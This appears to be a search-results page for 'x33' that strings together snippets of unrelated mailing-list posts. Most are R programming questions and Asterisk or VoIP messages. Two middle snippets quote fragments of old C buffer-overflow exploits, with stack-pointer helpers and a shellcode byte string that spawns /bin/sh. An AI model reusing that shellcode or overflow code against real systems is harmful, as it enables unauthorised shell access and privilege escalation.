search for: x33

Dear all, I have encountered a problem when perform stepwise regression. The dataset have more 9 independent variables, but 7 observation. In R, before performing stepwise, a lm object should be given. fm <- lm(y ~ X1 + X2 + X3 + X11 + X22 + X33 + X12 + X13 + X23) However, summary(fm) will give: Residual standard error: NaN on 0 degrees of freedom Multiple R-Squared: 1, Adjusted R-squared: NaN F-statistic: NaN on 6 and 0 DF, p-value: NA In this situation, step() or stepAIC() will not give any useful information. I don&...

...x1","x2","x3"), "prueba1",ifelse(x%in%c("x4","x5","x6"),"prueba2",x))) > transforma(df1)       col1  [1,] "prueba1"  [2,] "prueba1"  [3,] "x11"  [4,] "prueba1"  [5,] "x33"  [6,] "prueba1"  [7,] "prueba2"  [8,] "prueba2"  [9,] "x35" [10,] "prueba1" [11,] "prueba1" [12,] "prueba2" > transforma(df2)      col2 [1,] "x12" [2,] "prueba2" [3,] "prueba2" [4,]...

...El 10/09/2020 a las 17:51, Samura . escribió: > Gracias por las respuestas. > > Probé lo de hacer la función y no me salía. Pensaba que hacía algo mal. > Ahora con el código de Marcelino tampoco me sale. > > col1 <- c('x1', 'x2', 'x11', 'x1','x33', 'x1','x4', 'x5', 'x35', > 'x1','x2', 'x4') > col2 <- c('x12', 'x4', 'x6', 'x771','x4', 'x2') > col3 <- c('x7', 'x2', 'x4', 'x5','x111'...

...te ejemplo A un df a?adirle una columna que es la transformaci?n de otra, en plan a todo lo que sea x1, x2, x3 lo llamo prueba 1 todo lo que sea x4,x5,x6 lo llamo prueba 2 el resto de x las dejo como est?n. Ser?a algo as? col1 <- c('x1', 'x2', 'x11', 'x1','x33', 'x1','x4', 'x5', 'x35', 'x1','x2', 'x4') df1<-data.frame(col1) attach(df1) df1$transformacion<-ifelse(col1 == "x1"|col1 == "x2"| col1 == "x3", "prueba1", ifelse(co...

...uld like to add the following two constraints: # 1. weighted sums by column # w is a vector of known constants, i.e., w = c(1.2, .9, .7, 2.3) # r is also known, i.e., r = 4 w1*x11 + w2*x21 + w3*x21 + w4*x41 == r # col 1 w1*x12 + w2*x22 + w3*x32 + w4*x42 == r # col 2 w1*x13 + w2*x23 + w3*x33 + w4*x43 == r # col 3 # 2. By column, the number of X's greater than zero should be two or greater. In this small example, this condition is satisfied, but I would like to make sure that it is also satisfied in my problem. # 3. Using lp.transport(), the function to be minimized is linear...

...x10)+ (k4*x11)+(k4*k1*x12)+(k4*k2*x13)+(k4*k3*x14)+(k4*k4*x15)+(k5*x16)+(k5*k1*x17)+(k5*k2*x18)+(k5*k3*x19)+ (k5*k4*x20)+(k5*k5*x21)+(k6*x22)+(k6*k1*x23)+(k6*k2*x24)+(k6*k3*x25)+(k6*k4*x26)+(k6*k5*x27)+(k6*k6*x28)+ (k7*x29)+(k7*k1*x30)+(k7*k2*x31)+(k7*k3*x32)+(k7*k4*x33)+(k7*k5*x34)+(k7*k6*x35)+(k7*k7*x36)),x, start=c(beta1=-0.001480981,k1=0.001,k2=0.001,k3=0.001,k4=0.001,k5=0.001,k6=0.001,k7=0.001),control=c(maxiter=100)) where beta1, k1 -- k7 are the parameters to be estimated and x1---x36 are the columns of the dataframe x when i run t...

...t that takes subscripts like: for i taking values 1,2,3,4,5 and j taking values 1,2,3 I want to output for a computation using the combination values of i and j a value x like this; i j x 1 1 x11 1 2 x12 1 3 x13 2 1 x21 2 2 x22 2 3 x23 3 1 x31 3 2 x32 3 3 x33 ........ ....... Need help urgently. Thanks. Philip A Smile costs Nothing But Rewards Everything Happiness is not perfected until it is shared -Jane Porter [[alternative HTML version deleted]]

...| timestamp(14) | YES | | NULL | | +----------------+---------------+------+-----+---------+----------------+ 36 rows in set (0.01 sec) -- Brian Wilkins Software Engineer brian@hcc.net Heritage Communications Corporation Melbourne, FL USA 32935 321.308.4000 x33 http://www.hcc.net

...features or columns. I have about 80 features, and when I fit a model using the following formula,? glmfit = glm(y ~ x1 + x2 + x3 + x4 + x5 + x6 + x7 + x8 + x9 + x10 + x11 + x12 + x13 + x14 + x15 + x16 + x17 + x18 + x19 + x20 + x21 + x22 + x23 + x24 + x25 + x26 + x27 + x28 + x29 + x30 + x31 + x32 + x33 + x34 + x35 + x36 + x37 + x38 + x39 + x40 + x41 + x42 + x43 + x44 + x45 + x46 + x47 + x48 + x49 + x50 + x51 + x52 + x53 + x54 + x55 + x56 + x57 + x58 + x59 + x60 + x61 + x62 + x63 + x64 + x65 + x66 + x67 + x68 + x69 + x70 + x71 + x72 + x73 + x74 + x75 + x76 + x77 + x78 + x79 + x80) it gives me an e...

...ine HAPPY_FILE "./Window" long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { int fd; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; /* * The sscanf line reads for ''name'' as %[^ =]. Neither a space, nor * a ''='...

...IZE 996 long get_esp(void) { __asm__("movl %esp,%eax\n"); } int main(int argc, char *argv[]) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int dfltOFFSET = DEFAULT_OFFSET; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; int i; if (argc > 1) d...

...a, each column corresponds to a variable. I want this data to be read into a data frame. The first 66 columns are binary, values 0, 1, and I want these to be coerced into factor form. The last 33 are ordinary numeric data. For concreteness let us call these variables b1... b66 and the last 33 x1... x33. read.table does not seem to have any nice automated way of saying "I want these n columns to correspond to factors". scan does, by going what = (b1="", b2="", ...,b66="",... x1=0, x2=0,... ), and then I could coerce the resulting list to a data frame, I sup...

...ip show peers command. I am not interested in realtime because I am running stable 1.0.3 only and also it does not provide the qualify functionality I so desire. -- Brian Wilkins Software Engineer brian@hcc.net Heritage Communications Corporation Melbourne, FL USA 32935 321.308.4000 x33 http://www.hcc.net

...hrough=yes context=default [default] ;exten => _.,1,Dial(SIP/003214093773@3213084999,70,t) exten => _.,1,AGI(mta_auth.agi,${EXTEN}) exten => _.,2,Hangup -- Brian Wilkins Software Engineer brian@hcc.net Heritage Communications Corporation Melbourne, FL USA 32935 321.308.4000 x33 http://www.hcc.net

...quot;,"X15","X16","X17","X18","X19","X20","X21","X22","X23","X24","X25","X26","X27","X28","X29","X30","X31","X32","X33","X34","X35","X36","X37","X38","X39","X40","X41","X42","X43","X44","X45","X46","X47","X48","X49","X50","X51",&quot...

...This is not a problem with R, the calculated results are mathematically correct. This a matrix stability problem. Because of measuring errors, my matrix solution is a bit off. Here is what my equations look like: A11 x11+A12 x12 +A13 x13 = b1 A21 x21+A22 x21 +A23 x23 = b2 A31 x31+A32 x31 +A33 x33 = b3 A is a reading, X is a measured weight, and b is total. The 3 experiments give slightly different X values because of measurement errors. For reproducibility, here's my A, x and b matrices and vectors A <-matrix( c(0.03,0.02,0.04,0.01,0.015,0.03,-0.01,-0.02,0.03),3,3,byrow=TRUE) x <...

...uot; "2003-01-07" ... $ X1 : num 5.63 -1.42 -6.8 -1.9 -6.17 ... $ X2 : num 7.748 -0.296 -5.333 -2.348 -5.323 ... $ X3 : num 9.075 0.454 -4.294 -2.557 -5 ... $ X4 : num 9.863 0.966 -3.542 -2.629 -4.978 ... ... $ X32 : num 11.21 1.38 2.44 -3.48 -6.04 ... $ X33 : num 11.26 1.24 2.52 -3.47 -6.05 ... $ X34 : num 11.3 1.1 2.59 -3.45 -6.06 ... $ X35 : num 11.337 0.956 2.658 -3.436 -6.075 ... qplot(datetime, c(X1:X35), data=dezdiff.dt[nrow(dezdiff.dt),]) <http://r.789695.n4.nabble.com/file/n4670852/ggplot2.bmp> Anyone know how I coul...

...211.239.14:4569] USERNAME : gswoods REFRESH : 60 CALLTOKEN : 51 bytes Rx-Frame Retry[ No] -- OSeqno: 000 ISeqno: 001 Type: IAX Subclass: REGAUTH Timestamp: 00019ms SCall: 03026 DCall: 03639 [63.211.239.14:4569] AUTHMETHODS : 3 CHALLENGE : \x31\x33\x34\x35\x38\x37\x34\x39\x31 USERNAME : gswoods Tx-Frame Retry[000] -- OSeqno: 001 ISeqno: 001 Type: IAX Subclass: REGREQ Timestamp: 00115ms SCall: 03639 DCall: 03026 [63.211.239.14:4569] USERNAME : gswoods REFRESH : 60 MD5 RESULT : 74f42b964023f9caf2...

..." for(i in 1:1000){ blumenau<-read.table("Blu_1.txt",h=T) # 1000 *.txt files Guildas<-data.frame(cbind(t(blumenau[2:50]))) Guilda1<-cbind(X27,X48) Guilda2<-cbind(X5,X17,X19,X20,X21,X24,X25,X26,X40,X41,X77) Guilda3<-cbind(X22,X28,X69) Guilda4<-cbind(X29,X30,X31,X32,X33,X34,X35,X36,X37,X78) Guilda5<-cbind(X3,X8,X18,X23,X63,X82,X83) Guilda6<-cbind(X6,X38,X39,X44,X45,X46,X47,X49,X50,X51,X52,X53,X54,X55,X56,X57,X58,X59,X60,X61,X62,X84) Guilda7<-cbind(X1,X2,X42,X43,X64,X65,X66,X67,X68,X79,X80) Guilda8<-cbind(X7,X15,X16,X70,X71,X72,X73,X74,X75,X76) Guilda9&...

...X15","X16","X17","X18","X19","X20","X21" > ,"X22","X23","X24","X25","X26","X27","X28","X29","X30","X31" > ,"X32","X33","X34","X35","X36","X37","X38","X39","X40","X41" > ,"X42","X43","X44","X45","X46","X47","X48","X49","X50","X51"...